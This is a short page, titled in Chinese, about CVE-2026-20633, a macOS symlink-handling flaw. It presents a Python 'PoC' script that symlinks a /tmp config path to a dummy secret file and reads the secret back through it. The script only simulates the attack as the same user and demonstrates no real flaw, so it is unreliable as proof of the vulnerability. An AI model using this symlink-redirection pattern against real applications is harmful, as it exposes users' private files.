CVE-2026-20633 macOS 符号链接处理漏洞致敏感数据泄露

import os import sys # PoC for CVE-2026-20633 Symbolic Link Handling Issue # This script simulates how a malicious app could leverage symlink handling # to access sensitive user data. # Path to the sensitive data (e.g., user secret file) SENSITIVE_FILE = os.path.expanduser("~/Documents/secret_data.txt") # Path where the app expects to read/write (often a temporary or sandboxed location) VULNERABLE_PATH = "/tmp/safe_app_config.json" def create_sensitive_data(): """Create dummy sensitive data.""" with open(SENSITIVE_FILE, "w") as f: f.write("SECRET_KEY: 12345-ABCDE") print(f"[+] Created sensitive file at: {SENSITIVE_FILE}") def exploit_symlink(): """ Exploit the vulnerability by creating a symlink from the vulnerable path to the sensitive file. """ # Check if sensitive file exists if not os.path.exists(SENSITIVE_FILE): print(f"[-] Sensitive file not found at {SENSITIVE_FILE}") return try: # Remove existing link/file if present if os.path.lexists(VULNERABLE_PATH): os.remove(VULNERABLE_PATH) # Create the symbolic link os.symlink(SENSITIVE_FILE, VULNERABLE_PATH) print(f"[+] Symlink created: {VULNERABLE_PATH} -> {SENSITIVE_FILE}") # Simulate the vulnerable app reading the file # Due to the flaw, the OS follows the symlink without proper checks with open(VULNERABLE_PATH, "r") as f: content = f.read() print("[!] Successfully read data via vulnerable path:") print(f" Content: {content}") except OSError as e: print(f"[-] Error during exploit: {e}") if __name__ == "__main__": create_sensitive_data() exploit_symlink() # Cleanup if os.path.exists(SENSITIVE_FILE): os.remove(SENSITIVE_FILE) if os.path.lexists(VULNERABLE_PATH): os.remove(VULNERABLE_PATH)